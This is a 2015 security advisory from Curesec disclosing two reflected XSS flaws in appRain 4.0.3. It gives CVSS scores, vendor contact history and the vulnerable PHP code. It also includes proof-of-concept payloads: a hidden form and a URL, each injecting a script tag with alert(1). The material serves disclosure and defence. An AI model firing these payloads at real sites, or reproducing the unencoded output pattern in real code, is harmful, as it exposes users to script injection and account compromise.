appRain 4.0.3: XSS

appRain 4.0.3: XSS

Date: 2015-12-02 10:36:50
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: appRain 4.0.3
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website: info@apprain.com
Vulnerability Type: XSS
Remote Exploitable: Yes
Reported to vendor: 10/02/2015
Disclosed to public: 12/02/2015
Release mode: Full Disclosure
CVE: requested, but not assigned
Credits Tim Coen of curesec GmbH

2. Overview

There are two reflected XSS vulnerabilities in appRain 4.0.3. This can lead to the injection of JavaScript keyloggers or the bypassing of CSRF protection. In the case of appRain, this may lead to code execution.

3. XSS 1

CVSS

Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description

The search of the file manager echoes user input without encoding, leading to reflected XSS.

Proof of Concept

<html> <body> <form action="http://localhost/apprain-source-4.0.3/admin/filemanager/upload" method="POST"> <input type="hidden" name="data&#91;FileManager&#93;&#91;search&#93;" value="&apos;&quot;&gt;&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Code

/apprain/base/modules/toolbar.php private function btnFilemanagerSrcBox($srcstr = "") { $html = '<form method="post"> <input type="text" name="data[FileManager][search]" value="' . $srcstr . '" /> <div class="button" style="float:right"><input type="submit" value="Search" /></div> </form>'; return array('box' => $html); }

4. XSS 2

CVSS

Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description

The appeditor echoes the given file name and path without encoding, leading to reflected XSS.

Proof of Concept

http://localhost/apprain-source-4.0.3/appeditor?loc='"><script>alert(1)</script>

Code

/component/appeditor/controllers/appeditor/index.phtml <?php foreach($fileeditorqueue as $row):?> <?php $farr = explode('/',$row);?> <?php if( $row == $loc):?> <li class="ui-tabs-selected"> <a href="?loc=<?php echo $row ;?>" title="<?php echo $row ;?>"><?php echo(end($farr)); ?></a> </li> <?php else: ?> <li> <a href="?loc=<?php echo $row ;?>" title="<?php echo $row ;?>"><?php echo(end($farr));?></a> <span class="closefiletab">X</span> </li> <?php endif;?> <?php endforeach;?>

5. Solution

This issue was not fixed by the vendor.

6. Report Timeline

10/02/2015 Informed Vendor. Mailbox info@apprain.com is full, used security@apprain.com instead (no reply)
10/21/2015 Reminded Vendor of Disclosure Date
10/21/2015 Vendor anounces fix for 11/02/2015
11/04/2015 No fix released, extended public disclosure date to 11/11/2015
11/05/2015 Vendor asks for list of organizations that may help implementing fixes
11/11/2015 Replied that we do not have lists, and that we do not have the resources to implement fixes ourselves. Extended release date to 11/18/2015 and offered further extension if needed (no reply)
11/17/2015 CVE Requested (no reply)
11/24/2015 Reminded Vendor of release date, extended date to 12/02/2015 and offered extension if needed (no reply)
12/02/2015 Disclosed to public